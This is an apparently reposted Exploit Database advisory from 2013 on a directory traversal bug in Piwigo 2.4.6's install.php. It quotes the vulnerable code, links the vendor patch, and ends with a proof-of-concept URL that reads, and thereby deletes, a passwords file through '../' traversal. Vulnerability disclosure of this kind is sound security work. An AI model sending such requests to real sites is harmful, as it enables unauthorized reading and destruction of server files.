Piwigo 2.4.6 – ‘/install.php’ Arbitrary File Read/Delete

• Exploit Database
• 92 阅读

• 作者： LiquidWorm
  日期： 2013-02-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24520/

• Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability
  
  
  Vendor: Piwigo project
  Product web page: http://www.piwigo.org
  Affected version: 2.4.6
  
  Summary: Piwigo is a photo gallery software for the web that comes
  with powerful features to publish and manage your collection of
  pictures.
  
  Desc: Input passed to the 'dl' parameter in 'install.php' script
  is not properly sanitised before being used to get the contents of
  a resource or delete files. This can be exploited to read and delete
  arbitrary data from local resources with the permissions of the web
  server via directory traversal attack.
  
  ====================================================================
  /install.php:
  -------------
  
  113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
  114: {
  115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
  116: header('Cache-Control: no-cache, must-revalidate');
  117: header('Pragma: no-cache');
  118: header('Content-Disposition: attachment; filename="database.inc.php"');
  119: header('Content-Transfer-Encoding: binary');
  120: header('Content-Length: '.filesize($filename));
  121: echo file_get_contents($filename);
  122: unlink($filename);
  123: exit();
  124: }
  
  ====================================================================
  
  
  Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
   Apache 2.4.2 (Win32)
   PHP 5.4.4
   MySQL 5.5.25a
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2013-5127
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
  
  Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
  
  
  
  15.02.2013
  
  
  --
  
  http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
  

  Python

  Copy